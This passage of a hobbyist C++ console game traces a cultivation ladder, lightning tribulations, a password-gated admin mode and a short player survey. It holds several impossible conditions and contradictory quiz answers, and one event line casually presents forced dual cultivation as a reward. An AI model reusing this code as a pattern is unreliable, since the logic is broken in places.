    if(gd==10&&l==0){SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);cout<<"第"<<i<<"年:"<<"你悟出了混沌大道。"<<endl;u=u+5;l=1;a=a+1;}else{if(gd==10){cout<<"第"<<i<<"年:"<<"悟道..."<<endl;u=u+0.2;}}
    if(gd!=1&&gd!=2&&gd!=3&&gd!=4&&gd!=5&&gd!=6&&gd!=7&&gd!=8&&gd!=9&&gd!=10){cout<<"第"<<i<<"年:"<<"悟道..."<<endl;u=u+1;}
    }
    u=u+po;
    //SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN);
    //cout<<"灵力点:"<<u<<endl;
    
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);
    if(u>=2&&u<4&&b[1]==0){cout<<"突破凝气初期1星,寿元提升至160年。"<<endl;qw=160;b[1]=1;}
    if(u>=4&&u<6&&b[2]==0){cout<<"突破凝气初期2星,寿元提升至170年。"<<endl;qw=170;b[2]=1;}
    if(u>=6&&u<8&&b[3]==0){cout<<"突破凝气初期3星,寿元提升至180年。"<<endl;qw=180;b[3]=1;}
    if(u>=8&&u<10&&b[4]==0){cout<<"突破凝气初期4星,寿元提升至185年。"<<endl;qw=185;b[4]=1;}
    if(u>=10&&u<12&&b[5]==0){cout<<"突破凝气初期5星,寿元提升至190年。"<<endl;qw=190;b[5]=1;}
    if(u>=12&&u<14&&b[6]==0){cout<<"突破凝气中期1星,寿元提升至200年。"<<endl;qw=200;b[6]=1;}
    if(u>=14&&u<16&&b[7]==0){cout<<"突破凝气中期2星,寿元提升至210年。"<<endl;qw=210;b[7]=1;}
    if(u>=16&&u<18&&b[8]==0){cout<<"突破凝气中期3星,寿元提升至220年。"<<endl;qw=220;b[8]=1;}
    if(u>=18&&u<20&&b[9]==0){cout<<"突破凝气中期4星,寿元提升至230年。"<<endl;qw=230;b[9]=1;}
    if(u>=20&&u<22&&b[10]==0){cout<<"突破凝气中期5星,寿元提升至240年。"<<endl;qw=240;b[10]=1;}
    if(u>=22&&u<24&&b[11]==0){cout<<"突破凝气高期1星,寿元提升至250年。"<<endl;qw=250;b[11]=1;}
    if(u>=24&&u<26&&b[12]==0){cout<<"突破凝气高期2星,寿元提升至260年。"<<endl;qw=260;b[12]=1;}
    if(u>=26&&u<28&&b[13]==0){cout<<"突破凝气高期3星,寿元提升至270年。"<<endl;qw=270;b[13]=1;}
    if(u>=28&&u<30&&b[14]==0){cout<<"突破凝气高期4星,寿元提升至280年。"<<endl;qw=280;b[14]=1;}
    if(u>=30&&u<35&&b[15]==0){cout<<"突破凝气高期5星,寿元提升至290年。"<<endl;qw=290;b[15]=1;}
    if(u>=35&&u<37&&b[16]==0){cout<<"突破筑基初期1星,寿元提升至300年。"<<endl;qw=300;b[16]=1;}
    if(u>=37&&u<39&&b[17]==0){cout<<"突破筑基初期2星,寿元提升至310年。"<<endl;qw=310;b[17]=1;}
    if(u>=39&&u<41&&b[18]==0){cout<<"突破筑基初期3星,寿元提升至320年。"<<endl;qw=320;b[18]=1;}
    if(u>=41&&u<43&&b[19]==0){cout<<"突破筑基初期4星,寿元提升至330年。"<<endl;qw=330;b[19]=1;}
    if(u>=45&&u<47&&b[20]==0){cout<<"突破筑基初期5星,寿元提升至340年。"<<endl;qw=340;b[20]=1;}
    if(u>=47&&u<49&&b[21]==0){cout<<"突破筑基中期1星,寿元提升至350年。"<<endl;qw=350;b[21]=1;}
    if(u>=49&&u<51&&b[22]==0){cout<<"突破筑基中期2星,寿元提升至360年。"<<endl;qw=360;b[22]=1;}
    if(u>=51&&u<53&&b[23]==0){cout<<"突破筑基中期3星,寿元提升至370年。"<<endl;qw=370;b[23]=1;}
    if(u>=55&&u<57&&b[24]==0){cout<<"突破筑基中期4星,寿元提升至380年。"<<endl;qw=380;b[24]=1;}
    if(u>=57&&u<59&&b[25]==0){cout<<"突破筑基中期5星,寿元提升至390年。"<<endl;qw=390;b[25]=1;}
    if(u>=59&&u<61&&b[26]==0){cout<<"突破筑基高期1星,寿元提升至400年。"<<endl;qw=400;b[26]=1;}
    if(u>=61&&u<63&&b[27]==0){cout<<"突破筑基高期2星,寿元提升至410年。"<<endl;qw=410;b[27]=1;}
    if(u>=63&&u<65&&b[28]==0){cout<<"突破筑基高期3星,寿元提升至420年。"<<endl;qw=420;b[28]=1;}
    if(u>=65&&u<67&&b[29]==0){cout<<"突破筑基高期4星,寿元提升至430年。"<<endl;qw=430;b[29]=1;}
    if(u>=69&&u<75&&b[30]==0){cout<<"突破筑基高期5星,寿元提升至440年。"<<endl;qw=440;b[30]=1;}
    
    if(u>=75&&u<78&&b[31]==0){cout<<"突破金丹初期1星,寿元提升至450年。"<<endl;qw=450;b[31]=1;}
    if(u>=78&&u<81&&b[32]==0){cout<<"突破金丹初期2星,寿元提升至460年。"<<endl;qw=460;b[32]=1;}
    if(u>=81&&u<84&&b[33]==0){cout<<"突破金丹初期3星,寿元提升至470年。"<<endl;qw=470;b[33]=1;}
    if(u>=84&&u<87&&b[34]==0){cout<<"突破金丹初期4星,寿元提升至480年。"<<endl;qw=480;b[34]=1;}
    if(u>=87&&u<90&&b[35]==0){cout<<"突破金丹初期5星,寿元提升至490年。"<<endl;qw=490;b[35]=1;}
    if(u>=90&&u<93&&b[36]==0){cout<<"突破金丹中期1星,寿元提升至500年。"<<endl;qw=500;b[36]=1;}
    if(u>=93&&u<96&&b[37]==0){cout<<"突破金丹中期2星,寿元提升至510年。"<<endl;qw=510;b[37]=1;}
    if(u>=96&&u<99&&b[38]==0){cout<<"突破金丹中期3星,寿元提升至520年。"<<endl;qw=520;b[38]=1;}
    if(u>=99&&u<102&&b[39]==0){cout<<"突破金丹中期4星,寿元提升至530年。"<<endl;qw=530;b[39]=1;}
    if(u>=102&&u<105&&b[40]==0){cout<<"突破金丹中期5星,寿元提升至540年。"<<endl;qw=540;b[40]=1;}
    if(u>=108&&u<111&&b[41]==0){cout<<"突破金丹高期1星,寿元提升至550年。"<<endl;qw=550;b[41]=1;}
    if(u>=111&&u<114&&b[42]==0){cout<<"突破金丹高期2星,寿元提升至560年。"<<endl;qw=560;b[42]=1;}
    if(u>=114&&u<117&&b[43]==0){cout<<"突破金丹高期3星,寿元提升至570年。"<<endl;qw=570;b[43]=1;}
    if(u>=117&&u<120&&b[44]==0){cout<<"突破金丹高期4星,寿元提升至580年。"<<endl;qw=580;b[44]=1;}
    if(u>=120&&u<125&&b[45]==0){cout<<"突破金丹高期5星,寿元提升至590年。"<<endl;qw=590;b[45]=1;}
    if(u>=125&&u<130&&b[46]==0){cout<<"突破元婴初期1星,寿元提升至600年。"<<endl;qw=600;b[46]=1;}
    if(u>=130&&u<135&&b[47]==0){cout<<"突破元婴初期2星,寿元提升至610年。"<<endl;qw=610;b[47]=1;}
    if(u>=135&&u<140&&b[48]==0){cout<<"突破元婴初期3星,寿元提升至620年。"<<endl;qw=620;b[48]=1;}
    if(u>=140&&u<145&&b[49]==0){cout<<"突破元婴初期4星,寿元提升至630年。"<<endl;qw=630;b[49]=1;}
    if(u>=145&&u<150&&b[50]==0){cout<<"突破元婴初期5星,寿元提升至640年。"<<endl;qw=640;b[50]=1;}
    if(u>=150&&u<155&&b[51]==0){cout<<"突破元婴中期1星,寿元提升至650年。"<<endl;qw=650;b[51]=1;}
    if(u>=155&&u<160&&b[52]==0){cout<<"突破元婴中期2星,寿元提升至660年。"<<endl;qw=660;b[52]=1;}
    if(u>=160&&u<165&&b[53]==0){cout<<"突破元婴中期3星,寿元提升至670年。"<<endl;qw=670;b[53]=1;}
    if(u>=165&&u<170&&b[54]==0){cout<<"突破元婴中期4星,寿元提升至680年。"<<endl;qw=680;b[54]=1;}
    if(u>=170&&u<175&&b[55]==0){cout<<"突破元婴中期5星,寿元提升至690年。"<<endl;qw=690;b[55]=1;}
    if(u>=175&&u<180&&b[56]==0){cout<<"突破元婴高期1星,寿元提升至700年。"<<endl;qw=700;b[56]=1;}
    if(u>=180&&u<185&&b[57]==0){cout<<"突破元婴高期2星,寿元提升至710年。"<<endl;qw=710;b[57]=1;}
    if(u>=185&&u<190&&b[58]==0){cout<<"突破元婴高期3星,寿元提升至720年。"<<endl;qw=720;b[58]=1;}
    if(u>=190&&u<195&&b[59]==0){cout<<"突破元婴高期4星,寿元提升至730年。"<<endl;qw=730;b[59]=1;}
    if(u>=195&&u<200&&b[60]==0){cout<<"突破元婴高期5星,寿元提升至740年。"<<endl;qw=740;b[60]=1;}
    
    if(u>=200&&u<205&&b[61]==0){cout<<"突破化神初期1星,寿元提升至750年。"<<endl;qw=750;b[61]=1;}
    if(u>=205&&u<210&&b[62]==0){cout<<"突破化神初期2星,寿元提升至760年。"<<endl;qw=760;b[62]=1;}
    if(u>=210&&u<215&&b[63]==0){cout<<"突破化神初期3星,寿元提升至770年。"<<endl;qw=770;b[63]=1;}
    if(u>=215&&u<220&&b[64]==0){cout<<"突破化神初期4星,寿元提升至780年。"<<endl;qw=780;b[64]=1;}
    if(u>=220&&u<225&&b[65]==0){cout<<"突破化神初期5星,寿元提升至790年。"<<endl;qw=790;b[65]=1;}
    if(u>=225&&u<230&&b[66]==0){cout<<"突破化神中期1星,寿元提升至800年。"<<endl;qw=800;b[66]=1;}
    if(u>=230&&u<235&&b[67]==0){cout<<"突破化神中期2星,寿元提升至810年。"<<endl;qw=810;b[67]=1;}
    if(u>=235&&u<240&&b[68]==0){cout<<"突破化神中期3星,寿元提升至820年。"<<endl;qw=820;b[68]=1;}
    if(u>=240&&u<245&&b[69]==0){cout<<"突破化神中期4星,寿元提升至830年。"<<endl;qw=830;b[69]=1;}
    if(u>=245&&u<250&&b[70]==0){cout<<"突破化神中期5星,寿元提升至840年。"<<endl;qw=840;b[70]=1;}
    if(u>=250&&u<255&&b[71]==0){cout<<"突破化神高期1星,寿元提升至850年。"<<endl;qw=850;b[71]=1;}
    if(u>=255&&u<260&&b[72]==0){cout<<"突破化神高期2星,寿元提升至860年。"<<endl;qw=860;b[72]=1;}
    if(u>=260&&u<265&&b[73]==0){cout<<"突破化神高期3星,寿元提升至870年。"<<endl;qw=870;b[73]=1;}
    if(u>=265&&u<270&&b[74]==0){cout<<"突破化神高期4星,寿元提升至880年。"<<endl;qw=880;b[74]=1;}
    if(u>=270&&u<300&&b[75]==0){cout<<"突破化神高期5星,寿元提升至890年。"<<endl;qw=890;b[75]=1;}
    if(u>=300&&u<310&&b[76]==0){cout<<"突破炼虚初期1星,寿元提升至900年。"<<endl;qw=900;b[76]=1;}
    if(u>=310&&u<320&&b[77]==0){cout<<"突破炼虚初期2星,寿元提升至910年。"<<endl;qw=910;b[77]=1;}
    if(u>=320&&u<330&&b[78]==0){cout<<"突破炼虚初期3星,寿元提升至920年。"<<endl;qw=920;b[78]=1;}
    if(u>=330&&u<340&&b[79]==0){cout<<"突破炼虚初期4星,寿元提升至930年。"<<endl;qw=930;b[79]=1;}
    if(u>=340&&u<350&&b[80]==0){cout<<"突破炼虚初期5星,寿元提升至940年。"<<endl;qw=940;b[80]=1;}
    if(u>=350&&u<360&&b[81]==0){cout<<"突破炼虚中期1星,寿元提升至950年。"<<endl;qw=950;b[81]=1;}
    if(u>=360&&u<370&&b[82]==0){cout<<"突破炼虚中期2星,寿元提升至960年。"<<endl;qw=960;b[82]=1;}
    if(u>=370&&u<380&&b[83]==0){cout<<"突破炼虚中期3星,寿元提升至970年。"<<endl;qw=970;b[83]=1;}
    if(u>=380&&u<390&&b[84]==0){cout<<"突破炼虚中期4星,寿元提升至980年。"<<endl;qw=980;b[84]=1;}
    if(u>=390&&u<400&&b[85]==0){cout<<"突破炼虚中期5星,寿元提升至990年。"<<endl;qw=990;b[85]=1;}
    if(u>=400&&u<410&&b[86]==0){cout<<"突破炼虚高期1星,寿元提升至1000年。"<<endl;qw=1000;b[86]=1;}
    if(u>=410&&u<420&&b[87]==0){cout<<"突破炼虚高期2星,寿元提升至1010年。"<<endl;qw=1010;b[87]=1;}
    if(u>=420&&u<430&&b[88]==0){cout<<"突破炼虚高期3星,寿元提升至1020年。"<<endl;qw=1020;b[88]=1;}
    if(u>=430&&u<440&&b[89]==0){cout<<"突破炼虚高期4星,寿元提升至1030年。"<<endl;qw=1030;b[89]=1;}
    if(u>=440&&u<450&&b[90]==0){cout<<"突破炼虚高期5星,寿元提升至1040年。"<<endl;qw=1040;b[90]=1;}
    
    if(u>=450&&u<450&&b[91]==0){cout<<"突破合体初期1星,寿元提升至1050年。"<<endl;qw=1050;b[91]=1;}
    if(u>=460&&u<460&&b[92]==0){cout<<"突破合体初期2星,寿元提升至1060年。"<<endl;qw=1060;b[92]=1;}
    if(u>=470&&u<470&&b[93]==0){cout<<"突破合体初期3星,寿元提升至1070年。"<<endl;qw=1070;b[93]=1;}
    if(u>=480&&u<480&&b[94]==0){cout<<"突破合体初期4星,寿元提升至1080年。"<<endl;qw=1080;b[94]=1;}
    if(u>=490&&u<490&&b[95]==0){cout<<"突破合体初期5星,寿元提升至1090年。"<<endl;qw=1090;b[95]=1;}
    if(u>=500&&u<500&&b[96]==0){cout<<"突破合体中期1星,寿元提升至1100年。"<<endl;qw=1100;b[96]=1;}
    if(u>=510&&u<510&&b[97]==0){cout<<"突破合体中期2星,寿元提升至1110年。"<<endl;qw=1110;b[97]=1;}
    if(u>=520&&u<520&&b[98]==0){cout<<"突破合体中期3星,寿元提升至1120年。"<<endl;qw=1120;b[98]=1;}
    if(u>=530&&u<530&&b[99]==0){cout<<"突破合体中期4星,寿元提升至1130年。"<<endl;qw=1130;b[99]=1;}
    if(u>=540&&u<540&&b[100]==0){cout<<"突破合体中期5星,寿元提升至1140年。"<<endl;qw=1140;b[100]=1;}
    if(u>=550&&u<550&&b[101]==0){cout<<"突破合体高期1星,寿元提升至1150年。"<<endl;qw=1150;b[101]=1;}
    if(u>=560&&u<560&&b[102]==0){cout<<"突破合体高期2星,寿元提升至1160年。"<<endl;qw=1160;b[102]=1;}
    if(u>=570&&u<570&&b[103]==0){cout<<"突破合体高期3星,寿元提升至1170年。"<<endl;qw=1170;b[103]=1;}
    if(u>=580&&u<580&&b[104]==0){cout<<"突破合体高期4星,寿元提升至1180年。"<<endl;qw=1180;b[104]=1;}
    if(u>=590&&u<590&&b[105]==0){cout<<"突破合体高期5星,寿元提升至1190年。"<<endl;qw=1190;b[105]=1;}
    if(u>=600&&u<999&&b[106]==0){cout<<"进入准备渡劫期,寿元提升至1200年。"<<endl;qw=1200;b[106]=1;}
    cout<<endl;
    
    Sleep(ui);
    } SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);
    cout<<"寿元终。"<<endl;
    }
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);
    int mn=0;
    if(ui==100&&u<=999){
    cout<<"你一直看过来,一定很累吧?悄悄告诉你,颜值=12,智力=12,钱数=6时可以触发时间大道!"<<endl;
    Sleep(300);
    }
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);
    cout<<"开始度劫!!!"<<endl;
    Sleep(300);
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN);
    cout<<"金元神劫落下"<<endl;
    if(s==1){cout<<"你抗过了!"<<endl;a=a-1;
    Sleep(600);
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN);
    cout<<"木元神劫落下"<<endl;
    if(d==1){cout<<"你抗过了!"<<endl;a=a-1;
    Sleep(600);
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE);
    cout<<"水元神劫落下"<<endl;
    if(f==1){cout<<"你抗过了!"<<endl;a=a-1;
    Sleep(600);
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);
    cout<<"火元神劫落下"<<endl;
    if(g==1){cout<<"你抗过了!"<<endl;a=a-1;
    Sleep(600);
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_RED|FOREGROUND_GREEN);
    cout<<"土元神劫落下"<<endl;
    if(h==1){cout<<"你抗过了!"<<endl;a=a-1;
    Sleep(600);
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);
    cout<<"本源元神劫落下"<<endl;
    if(a>=1){cout<<"你抗过了!"<<endl;
    }else{mn=1;}
    }else{mn=1;}
    }else{mn=1;}
    }else{mn=1;}
    }else{mn=1;}
    }else{mn=1;}
    
    
    if(mn==1){SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);cout<<"你没抗过,被劈死了!";}
    if(mn==0&&u>=550){
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE);
    cout<<"你度劫成功,飞升为仙。你作为“人”的一生结束了!"<<endl;}
    else{if(mn==0){SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);
    cout<<"但是你修为不够,无法飞升,被神用雷劫劈死了!";}}
    
    
    int ad;
    cout<<"结束请输入ok(小写),管理员测试请输入密码。"<<endl;
    string sf;
    cin>>sf;
    if(sf=="ok"){cout<<"圆满结束!";}
    else if(sf=="tanyu"){ad=1;}
    else{
    cout<<"密码错误,请重新输入!"<<endl;
    for(;;){
    string qwe;
    cout<<"结束请输入ok(小写),管理员测试请输入密码。"<<endl;
    cin>>qwe;
    if(qwe=="ok"){cout<<"圆满结束!";break;}
    if(qwe=="tanyu"){ad=1;break;}
    else {cout<<"密码错误,请重新输入!"<<endl;}
    }
    }
    
    
    if(ad==1){
    for(int i=1;i<=15;i++){w[i]=0;}
    int j=50;
    cout<<"开启修神之路,神寿提升至10千年."<<endl;
    int ss=5;
    for(int i=1;i<=j;i++){
    int kk;
    kk=rand()%25+1;
    if(kk==1){cout<<"第"<<i<<"千年:"<<"闭关苦修中……"<<endl;ss=ss+1;}
    if(kk==2){cout<<"第"<<i<<"千年:"<<"闭关苦修中……"<<endl;ss=ss+1;}
    if(kk==3){cout<<"第"<<i<<"千年:"<<"闭关苦修中……"<<endl;ss=ss+1;}
    if(kk==4){cout<<"第"<<i<<"千年:"<<"闭关苦修中……"<<endl;ss=ss+1;}
    if(kk==5){cout<<"第"<<i<<"千年:"<<"闭关苦修中……"<<endl;ss=ss+1;}
    if(kk==6){cout<<"第"<<i<<"千年:"<<"闭关苦修中……"<<endl;ss=ss+1;}
    if(kk==7){cout<<"第"<<i<<"千年:"<<"闭关苦修中……"<<endl;ss=ss+1;}
    if(kk==8){cout<<"第"<<i<<"千年:"<<"闭关苦修中……"<<endl;ss=ss+1;}
    if(kk==9){cout<<"第"<<i<<"千年:"<<"闭关苦修中……"<<endl;ss=ss+1;}
    if(kk==10){cout<<"第"<<i<<"千年:"<<"闭关苦修中……"<<endl;ss=ss+1;}
    if(kk==11){cout<<"第"<<i<<"千年:"<<"闭关苦修中……"<<endl;ss=ss+1;}
    if(kk==12){cout<<"第"<<i<<"千年:"<<"闭关苦修中……"<<endl;ss=ss+1;}
    if(kk==13){cout<<"第"<<i<<"千年:"<<"闭关苦修中……"<<endl;ss=ss+1;}
    if(kk==14){cout<<"第"<<i<<"千年:"<<"闭关苦修中……"<<endl;ss=ss+1;}
    if(kk==15){cout<<"第"<<i<<"千年:"<<"闭关苦修中……"<<endl;ss=ss+1;}
    if(kk==16){cout<<"第"<<i<<"千年:"<<"闭关苦修中……"<<endl;ss=ss+1;}
    if(kk==17){cout<<"第"<<i<<"千年:"<<"你与人强行双修,修为上涨X."<<endl;ss=ss+2;}
    if(kk==18){cout<<"第"<<i<<"千年:"<<"你与人强行双修,修为上涨X."<<endl;ss=ss+2;}
    if(kk==19){cout<<"第"<<i<<"千年:"<<"你与人强行双修,修为上涨X."<<endl;ss=ss+2;}
    if(kk==20){cout<<"第"<<i<<"千年:"<<"苦修顿悟修为增长。"<<endl;ss=ss+2;}
    if(kk==21){cout<<"第"<<i<<"千年:"<<"苦修顿悟修为增长。"<<endl;ss=ss+2;}
    if(kk==22){cout<<"第"<<i<<"千年:"<<"苦修顿悟修为增长。"<<endl;ss=ss+2;}
    if(kk==23){cout<<"第"<<i<<"千年:"<<"苦修顿悟修为增长。"<<endl;ss=ss+2;}
    if(kk==24){cout<<"第"<<i<<"千年:"<<"苦修顿悟修为增长。"<<endl;ss=ss+2;}
    if(kk==25){cout<<"第"<<i<<"千年:"<<"听神讲课,顿悟修为增长。"<<endl;ss=ss+5;}
    
    if(w[1]==0&&ss==10||ss>10&&ss<15&&w[1]==0){cout<<"你达到散仙上期,神寿提升到15千年。"<<endl;j=15;w[1]=1;}
    if(w[2]==0&&ss==15||ss>15&&ss<20&&w[2]==0){cout<<"你达到散仙中期,神寿提升到20千年。"<<endl;j=20;w[2]=1;}
    if(w[3]==0&&ss==20||ss>20&&ss<25&&w[3]==0){cout<<"你达到散仙下期,神寿提升到25千年。"<<endl;j=25;w[3]=1;}
    if(w[4]==0&&ss==25||ss>25&&ss<30&&w[4]==0){cout<<"你达到地仙上期,神寿提升到30千年。"<<endl;j=30;w[4]=1;}
    if(w[5]==0&&ss==30||ss>30&&ss<35&&w[5]==0){cout<<"你达到地仙中期,神寿提升到35千年。"<<endl;j=35;w[5]=1;}
    if(w[6]==0&&ss==35||ss>35&&ss<40&&w[6]==0){cout<<"你达到地仙下期,神寿提升到40千年。"<<endl;j=40;w[6]=1;}
    if(w[7]==0&&ss==40||ss>40&&ss<45&&w[7]==0){cout<<"你达到仙人上期,神寿提升到45千年。"<<endl;j=45;w[7]=1;}
    if(w[8]==0&&ss==45||ss>45&&ss<50&&w[8]==0){cout<<"你达到仙人中期,神寿提升到50千年。"<<endl;j=50;w[8]=1;}
    if(w[9]==0&&ss==50||ss>50&&ss<55&&w[9]==0){cout<<"你达到仙人下期,神寿提升到55千年。"<<endl;j=55;w[9]=1;}
    if(w[10]==0&&ss==65||ss>55&&ss<60&&w[10]==0){cout<<"你达到上仙上期,神寿提升到60千年。"<<endl;j=60;w[10]=1;}
    if(w[11]==0&&ss==60||ss>60&&ss<70&&w[11]==0){cout<<"你达到上仙中期,神寿提升到65千年。"<<endl;j=65;w[11]=1;}
    if(w[12]==0&&ss==70||ss>70&&ss<80&&w[12]==0){cout<<"你达到上仙下期,神寿提升到70千年。"<<endl;j=70;w[12]=1;}
    if(w[13]==0&&ss==80||ss>80&&ss<90&&w[13]==0){cout<<"你达到金仙上期,神寿提升到75千年。"<<endl;j=75;w[13]=1;}
    if(w[14]==0&&ss==90||ss>90&&ss<100&&w[14]==0){cout<<"你达到金仙中期,神寿提升到80千年。"<<endl;j=80;w[14]=1;}
    if(w[15]==0&&ss==100||ss>100&&ss<110&&w[15]==0){cout<<"你达到金仙下期,神寿提升到85千年。"<<endl;j=85;w[15]=1;}
    
    cout<<endl;
    Sleep(io);
    }
    cout<<"寿元终!";
    }}
    if(q==2){
    cout<<"正在进入调查问卷,请稍后......"<<endl;
    for(int i=1;i<=20;i++){
    if(i>=1&&i<=10||i>=17&&i<=20){Sleep(200);cout<<"█";}
    else {Sleep(350);cout<<"█";}
    
    }
    cout<<endl<<"成功进入调查问卷。";
    string A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R;
    cout<<"在正式开始调查问卷前,请输入您的真实姓名。"<<endl;Sleep(100);
    cin>>R;
    cout<<"正式进入调查问卷。"<<endl;Sleep(200);
    cout<<"调查问卷:"<<endl;Sleep(200);
    cout<<"本次调查问卷的每一道题都要认真思考后再选择"<<endl<<endl;Sleep(200);
    cout<<"开始答题。"<<endl<<endl<<endl;Sleep(200);
    cout<<"第1题:请问您对这个作品满意吗?"<<endl;Sleep(200);
    cout<<"A.满意 B.不满意"<<endl;Sleep(100);
    cin>>A;
    if(A=="B"){
    cout<<"请问还有哪些需要修改"<<endl;Sleep(100);
    cin>>B;
    cout<<"感谢您的反馈!"<<endl;Sleep(200);
    }
    else if(A=="A"){cout<<"感谢您对我们的认可!";Sleep(2000);}
    cout<<endl<<endl<<"下一题"<<endl;Sleep(200);
    cout<<"第2题:请问您知道这个作品的开发者吗?"<<endl;Sleep(200);
    cout<<"A.知道 B.不知道"<<endl;Sleep(100);
    cin>>C;
    if(C=="A"){
    cout<<"请问这个作品的开发者是谁(输入名字)"<<endl;Sleep(100);
    cin>>K;
    if(K!="玄——后室迷"){
    cout<<"回答错误!"<<endl;Sleep(200);
    cout<<"这个作品的开发者是:谭俊涵";Sleep(200);
    }
    else if(K=="玄——后室迷"){
    cout<<"回答正确!";Sleep(200);
    }
    }
    else if(C=="B"){cout<<"这个作品的开发者是:玄——后室迷";Sleep(2000);}
    cout<<endl<<endl<<"下一题"<<endl;Sleep(200);
    cout<<"第3题:请问您对这个作品的开发者熟系吗?"<<endl;Sleep(200);
    cout<<"A.熟系 B.不熟系"<<endl;Sleep(100);
    cin>>J;
    cout<<"下一题"<<endl;Sleep(200);
    cout<<"第4题:请问您知道这个作品是哪个工作室开发的吗?"<<endl;Sleep(200);
    cout<<"A.知道 B.不知道"<<endl;Sleep(100);
    cin>>G;
    if(G=="A"){
    cout<<"请问这个作品的工作室是哪个工作室?"<<endl;Sleep(100);
    cin>>L;
    if(L!="神羽工作室"){
    cout<<"回答错误!"<<endl;Sleep(200);
    cout<<"开发这个作品的工作室是:谭羽工作室";Sleep(200);
    }
    else if(L=="谭羽工作室"){
    cout<<"回答正确!";Sleep(200);
    }
    }
    else if(G=="B"){cout<<"开发这个作品的工作室是:谭羽工作室";Sleep(2000);}
    cout<<endl<<endl<<"下一题"<<endl;Sleep(200);
    cout<<"第5题:请问您知道这个作品的工作室有那些成员吗?"<<endl;Sleep(200);
    cout<<"A.知道 B.不知道"<<endl;Sleep(100);
    cin>>H;
    if(H=="A"){
    cout<<"请问这个工作室有哪些成员?(提示:一个人)"<<endl;Sleep(100);
    cin>>M>>N;
    if(M=="玄——后室迷"){
    cout<<"回答正确!";Sleep(200);
    }
    else{
    cout<<"回答错误!"<<endl;Sleep(200);
    cout<<"这个工作室有这个成员:玄——后室迷";Sleep(200);
    }
    }
    else if(H=="B"){cout<<"这个工作室有这个成员:玄——后室迷";Sleep(2000);}
    cout<<endl<<endl<<"下一题"<<endl;Sleep(200);
    cout<<"第6题:请问您对这个工作室熟系吗?"<<endl;Sleep(200);
    cout<<"A.熟系 B.不熟系"<<endl;Sleep(100);
    cin>>I;
    cout<<"下一题"<<endl;Sleep(200);
    cout<<"第7题:请问您知道这个作品会到哪一版停更吗?"<<endl;Sleep(200);
    cout<<"A.知道 B.不知道"<<endl;Sleep(100);
    cin>>D;
    if(D=="A"){
    cout<<"请问这个作品会到哪一版停更?"<<endl;Sleep(100);
    cin>>O;
    if(O!="x.x"){
    cout<<"回答错误!"<<endl;Sleep(200);
    cout<<"这个作品将会到x.x停更";Sleep(200);
    }
    else{
    cout<<"回答正确";Sleep(200);
    }
    }
    else if(D=="B"){cout<<"这个作品将会到x.x停更";Sleep(2000);}
    cout<<endl<<endl<<"下一题"<<endl;Sleep(200);
    cout<<"第8题:请问您知道您正在游玩的这个作品是哪个版本吗?"<<endl;Sleep(200);
    cout<<"A.知道 B.不知道"<<endl;Sleep(100);
    cin>>E;
    if(E=="A"){
    cout<<"请问您正在游玩的这个版本是哪个版本的?"<<endl;Sleep(100);
    cin>>P;
    if(P!="5.5"){
    cout<<"回答错误!"<<endl;Sleep(200);
    cout<<"您现在游玩的是5.5版";Sleep(200);
    }
    else{
    cout<<"回答正确";Sleep(200);
    }
    }
    else if(E=="B"){cout<<"您现在游玩的是5.0版";Sleep(2000);}
    cout<<endl<<endl<<"下一题"<<endl;Sleep(200);
    cout<<"第9题:请问您是从哪一个版本玩起的?"<<endl;Sleep(200);
    cout<<"A. 1.0 B. 1.5 C. 2.0 D. 2.5 E. 3.0 F. 3.5 G. 4.0 H. 4.5 I. 5.0"<<endl;Sleep(100);
    cin>>F;
    cout<<"您的真实名字是"<<" ";Sleep(200);
    cout<<R<<endl<<endl;Sleep(100);
    cout<<"第1题您的答案是"<<" ";Sleep(200);
    cout<<A<<endl<<endl;Sleep(100);
    cout<<"第2题您的答案是"<<" ";Sleep(200);
    cout<<C<<endl<<endl;Sleep(100);
    cout<<"第3题您的答案是"<<" ";Sleep(200);
    cout<<J<<endl<<endl;Sleep(100);
    cout<<"第4题您的答案是"<<" ";Sleep(200);
    cout<<G<<endl<<endl;Sleep(100);
    cout<<"第5题您的答案是"<<" ";Sleep(200);
    cout<<H<<endl<<endl;Sleep(100);
    cout<<"第6题您的答案是"<<" ";Sleep(200);
    cout<<I<<endl<<endl;Sleep(100);
    cout<<"第7题您的答案是"<<" ";Sleep(200);
    cout<<D<<endl<<endl;Sleep(100);
    cout<<"第8题您的答案是"<<" ";Sleep(200);
    cout<<E<<endl<<endl;Sleep(100);
    cout<<"第9题您的答案是"<<" ";Sleep(200);
    cout<<F<<endl<<endl;Sleep(100);
